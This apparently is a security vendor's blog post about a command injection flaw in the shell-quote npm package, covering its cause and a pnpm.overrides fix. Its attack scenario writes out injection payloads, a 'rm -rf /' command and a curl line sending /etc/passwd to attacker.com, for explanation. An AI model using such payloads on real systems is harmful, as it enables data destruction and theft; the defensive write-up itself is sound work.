Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package, affecting version 1.8.3 and earlier. The root cause is that the library fails to escape certain line terminator characters, allowing attacker-controlled strings to break out of a quoted shell argument and inject arbitrary commands. The fix is to upgrade `shell-quote` to 1.8.4 or later; in monorepos using pnpm, this is done by adding a `pnpm.overrides` entry (`"shell-quote": ">=1.8.4"`) in `package.json` so every transitive dependent receives the patched version without needing individual package bumps.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to >=1.8.4 and pin via pnpm.overrides to enforce the patch across all transitive dependents
riskArbitrary shell command execution by an attacker who controls input passed to shell-quote
languageJavaScript / Node.js
root causeshell-quote 1.8.3 does not escape line terminator characters, allowing argument boundaries to be broken
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins shell-quote to >=1.8.4 via a pnpm.overrides entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through shell-quote and has not yet upgraded is at risk of full remote code execution.


Introduction

The pnpm-lock.yaml file in this repository locked shell-quote at version 1.8.3—a version that Trivy's CVE scanner flagged as critically vulnerable. While lockfiles are often overlooked during security reviews, they are the authoritative record of exactly which package versions are running in production. In this case, that record revealed that every workspace package depending on shell-quote was exposed to CVE-2026-9277: arbitrary code execution via command injection caused by unescaped line terminator characters.

The problem is subtle. shell-quote is widely used to safely construct shell command strings from arrays of arguments—it is the library you reach for precisely because you want to avoid shell injection. But version 1.8.3 contained a flaw where certain Unicode line terminators (characters such as \u2028 LINE SEPARATOR and \u2029 PARAGRAPH SEPARATOR) were not properly escaped. An attacker who can influence any string passed through shell-quote's quoting logic can embed one of these characters to terminate the current argument context and inject a new, unquoted command segment.


The Vulnerability Explained

What shell-quote Does

shell-quote exposes two primary functions: quote(args) and parse(cmd). The quote function takes an array of strings and returns a single shell-safe string where each argument is properly escaped or quoted. The intended use looks like this:

const { quote } = require('shell-quote');
const userInput = req.body.filename; // attacker-controlled
const cmd = `cat ${quote([userInput])}`;
// Expected: cat 'somefile.txt'
// Dangerous if quote() fails to escape special chars

The assumption baked into every caller is: whatever I pass to quote(), the output will be safe to interpolate into a shell string. CVE-2026-9277 breaks that assumption.

The Vulnerable Code Pattern

In shell-quote@1.8.3, the quoting logic did not account for Unicode line terminator characters. Consider an attacker supplying this string as userInput:

foo\u2028; rm -rf /

Because \u2028 (LINE SEPARATOR) was not in the set of characters that triggered escaping, shell-quote would emit something equivalent to:

cat 'foo
; rm -rf /'

Depending on the shell and how the resulting string is interpreted, the line break can cause the shell to treat ; rm -rf / as a separate command. The quoted boundary is effectively broken by a character the library did not know to neutralize.

The lockfile entry that exposed this:

# pnpm-lock.yaml (before fix)
shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

Attack Scenario

  1. A developer uses shell-quote to build a shell command from a user-supplied filename in an API endpoint.
  2. An attacker sends a POST request with a filename field containing report\u2028; curl https://attacker.com/exfil?d=$(cat /etc/passwd).
  3. shell-quote@1.8.3 quotes the string but does not escape \u2028.
  4. The shell interprets the output as two commands: the intended cat 'report' and the injected curl exfiltration command.
  5. The attacker receives the contents of /etc/passwd—or worse, establishes a reverse shell.

Because this is a production dependency (not test-only), any server-side code path that invokes shell-quote with user-influenced data is a potential entry point.


The Fix

What Changed

The fix involved three coordinated changes across package.json, pnpm-lock.yaml, and CONTRIBUTING.md.

1. package.json — Adding the Override

// Before
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5"
  }
}

// After
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5",
    "shell-quote": ">=1.8.4"   // ← new line
  }
}

The pnpm.overrides field forces pnpm to resolve shell-quote to >=1.8.4 for every package in the dependency tree that requests it—regardless of what version each individual package specifies in its own package.json. This is the correct approach for transitive CVEs where you do not directly import the vulnerable package at the root level.

2. pnpm-lock.yaml — Lockfile Updated

# Before
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'

# After
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'
  shell-quote: '>=1.8.4'          # ← new line

And the resolved package entry changes from:

shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

to the 1.8.4 entry with its updated integrity hash. This ensures that pnpm install in CI and on developer machines will never again pull down 1.8.3.

3. CONTRIBUTING.md — Process Documentation

The PR also added a new "Security updates" section to CONTRIBUTING.md explaining exactly how to handle transitive dependency CVEs going forward:

### Security updates

For transitive dependency CVEs, pin the patched version in root `package.json`
under `pnpm.overrides`. Do not add a root-level `dependencies` entry for
packages the repo does not import directly.

Run `pnpm install`, commit the lockfile, and confirm the vulnerable version
is gone. Use `>=` to match existing override entries. No changeset needed.

This documentation prevents future contributors from accidentally adding a spurious root-level dependencies entry for a package they do not directly import—a common mistake that pollutes the dependency graph without actually fixing the transitive resolution.

Why >=1.8.4 Instead of =1.8.4

Using >=1.8.4 rather than pinning to an exact version means the override will automatically accept future patch releases of shell-quote (e.g., 1.8.5, 1.8.6) without requiring another manual update. This balances security (no version below 1.8.4 is ever resolved) with maintainability (future non-breaking patches are not blocked).


Key Takeaways

  • shell-quote@1.8.3 is not safe for user-influenced input: The unescaped line terminator bug means the library's core promise—safe shell quoting—was broken for a specific class of Unicode characters.
  • Lockfiles are security artifacts: The vulnerability was pinned in pnpm-lock.yaml at 1.8.3. Regularly scanning your lockfile with tools like Trivy is as important as scanning your source code.
  • pnpm.overrides is the right tool for transitive CVEs: Adding shell-quote to pnpm.overrides rather than dependencies correctly forces the patched version without polluting the direct-dependency graph.
  • Document your security fix process: The addition of a "Security updates" section to CONTRIBUTING.md means future contributors know exactly how to handle the next transitive CVE—reducing the chance of an incorrect fix.
  • Argument arrays beat shell strings: If the code paths consuming shell-quote can be refactored to use execFile with an argument array, the entire class of shell injection risk is eliminated regardless of what version of shell-quote is installed.

How Orbis AppSec Detected This

  • Source: User-influenced strings passed to shell-quote's quote() function, entering via any API endpoint or CLI argument that constructs shell commands.
  • Sink: Any call site invoking shell-quote@1.8.3's quoting logic where the resulting string is passed to a shell interpreter (e.g., child_process.exec, child_process.spawn with shell: true).
  • Missing control: shell-quote@1.8.3 lacked escaping logic for Unicode line terminator characters (\u2028, \u2029), allowing those characters to break out of quoted argument boundaries.
  • CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: The shell-quote dependency was pinned to >=1.8.4 via pnpm.overrides in package.json, and the lockfile was regenerated to resolve the patched version across all transitive consumers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that even security-focused libraries can harbor subtle flaws. shell-quote exists specifically to make shell command construction safe—yet a single class of unescaped characters was enough to render it exploitable. The fix is straightforward: upgrade to 1.8.4 and use pnpm.overrides to enforce that version across your entire dependency tree. More broadly, treat your lockfile as a security document, scan it continuously, and wherever possible prefer argument-array APIs that never invoke a shell at all.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5772

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.